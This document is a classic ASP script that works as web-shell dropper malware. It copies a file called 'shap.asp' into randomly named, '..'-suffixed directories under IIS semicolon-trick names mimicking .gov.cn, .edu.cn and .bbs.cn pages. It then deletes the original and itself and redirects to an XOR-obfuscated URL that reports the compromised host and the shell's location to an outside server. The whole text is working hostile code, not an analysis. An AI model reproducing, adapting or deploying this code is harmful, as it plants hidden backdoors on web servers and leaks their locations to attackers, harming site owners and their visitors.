| <%
dim myfilename
dim mylocalpath
dim rnddirname,rnddirname2
dim dir1,dir2
const cutpursefilename = "shap.asp"
const copyfilename="0.gov.cn.asp;.html|1.gov.cn.asp;.html|2.gov.cn.asp;.html|3.gov.cn.asp;.html|4.gov.cn.asp;.html|5.gov.cn.asp;.html|6.gov.cn.asp;.html|0.edu.cn.asp;.html|1.edu.cn.asp;.html|2.edu.cn.asp;.html|3.edu.cn.asp;.html|4.edu.cn.asp;.html|5.edu.cn.asp;.html|6.edu.cn.asp;.html|0.bbs.cn.asp;.html|1.bbs.cn.asp;.html|2.bbs.cn.asp;.html|3.bbs.cn.asp;.html|4.bbs.cn.asp;.html|5.bbs.cn.asp;.html|6.bbs.cn.asp;.html"
dim saveurl,surl
dim str1, shtml, i, k, p, p1
saveurl = Chr(87 xor 63) & Chr(995 xor 919) & Chr(777 xor 893) & Chr(179 xor 195) & Chr(985 xor 995) & Chr(809 xor 774) & Chr(83 xor 124) & Chr(280 xor 364) & Chr(943 xor 897) & Chr(936 xor 966) & Chr(693 xor 732) & Chr(432 xor 470) & Chr(951 xor 978) & Chr(386 xor 492) & Chr(625 xor 534) & Chr(898 xor 940) & Chr(545 xor 584) & Chr(877 xor 771) & Chr(608 xor 518) & Chr(686 xor 705) & Chr(189 xor 135) & Chr(953 xor 897) & Chr(904 xor 952) & Chr(788 xor 804) & Chr(147 xor 188) & Chr(90 xor 41) & Chr(524 xor 621) & Chr(940 xor 986) & Chr(418 xor 455) & Chr(530 xor 544) & Chr(456 xor 486) & Chr(678 xor 711) & Chr(739 xor 656) & Chr(31 xor 111)
myfilename = request.servervariables("script_name")
dir1=trim(request("dir1"))
dir2=trim(request("dir2"))
k = Instrrev(myfilename,"/")
if k > 0 then myfilename = right(myfilename,len(myfilename)-k)
mylocalpath = getmylocalpath
if len(dir1)=0 then
rnddirname = getrndname(5,10)
else
rnddirname = dir1
end if
rnddirname = rnddirname & ".."
if len(dir1)>0 or (createdirpath(mylocalpath & rnddirname) = true and len(dir1)=0) then
if len(dir2)=0 then
rnddirname2 = getrndname(5,10)
else
rnddirname2 = dir2
end if
rnddirname2 = rnddirname2 & ""
if len(dir2)>0 or (createdirpath(mylocalpath & rnddirname & rnddirname2) and len(dir2)=0) then
p=split(cutpursefilename,"|")
p1=split(copyfilename,"|")
for i=0 to ubound(p)
str1=trim(p(i))
if len(str1)>0 then
for i1=0 to ubound(p1)
call copyfiles(mylocalpath & str1, mylocalpath & rnddirname & rnddirname2 & p1(i1),0)
next
call copyfiles(mylocalpath & str1, mylocalpath & rnddirname & rnddirname2 & str1,1)
end if
next
rnddirname = replace(rnddirname,"..","./")
rnddirname2 = replace(rnddirname2,"","/")
surl = saveurl & _
"?z="& request.servervariables("http_host") & _
"&u=" & getmyurl & rnddirname & rnddirname2
k=getrnd(0,ubound(p))
response.redirect surl
end if
end if
public function createdirpath(Byval path)
dim fso
on error resume next
set fso = createobject("scripting.filesystemobject")
createdirpath = false
if fso.folderexists(path) = false then
fso.createfolder(path)
end if
createdirpath = true
on error goto 0
set fso=nothing
end function
public function copyfiles(byval formpath, byval topath,byval bdel)
dim fso,fso1
set fso = createobject("scripting.filesystemobject")
on error resume next
Set fso1=fso.GetFile(formpath)
fso1.attributes=1
fso.copyfile formpath, topath
fso1.attributes=0
if fso.fileexists(topath) then
copyfiles = true
if bdel=1 then
fso.deletefile formpath
fso.deletefile mylocalpath & myfilename
end if
else
copyfiles = false
end if
on error goto 0
set fso = nothing
set fso1 = nothing
end function
public function getrndname(min, max)
dim i,k,p
if max <= 0 then exit function
p = split("")
for i = Asc("A") to Asc("Z")
redim preserve p(uBound(p) + 1)
p(uBound(p)) = chr(i)
next
for i = asc(0) To asc(9)
redim preserve p(ubound(p) + 1)
p(ubound(p)) = Chr(i)
next
k = getrnd(min, max)
for i = 1 to k
getrndname = getrndname & p(getrnd(0, uBound(p)))
next
end function
public function getrnd(min, max)
randomize
getrnd = Int((max - min + 1) * rnd + min)
end function
public function getmylocalpath()
dim k
getmylocalpath = request.servervariables("path_translated")
k = Instrrev(getmylocalpath,"")
if k > 0 then getmylocalpath = left(getmylocalpath,k)
end function
public function getmyurl()
getmyurl = "http://" & _
request.servervariables("http_host") & _
mid(request.servervariables("url"), 1, Instrrev(request.servervariables("url"), "/"))
end function
%> |
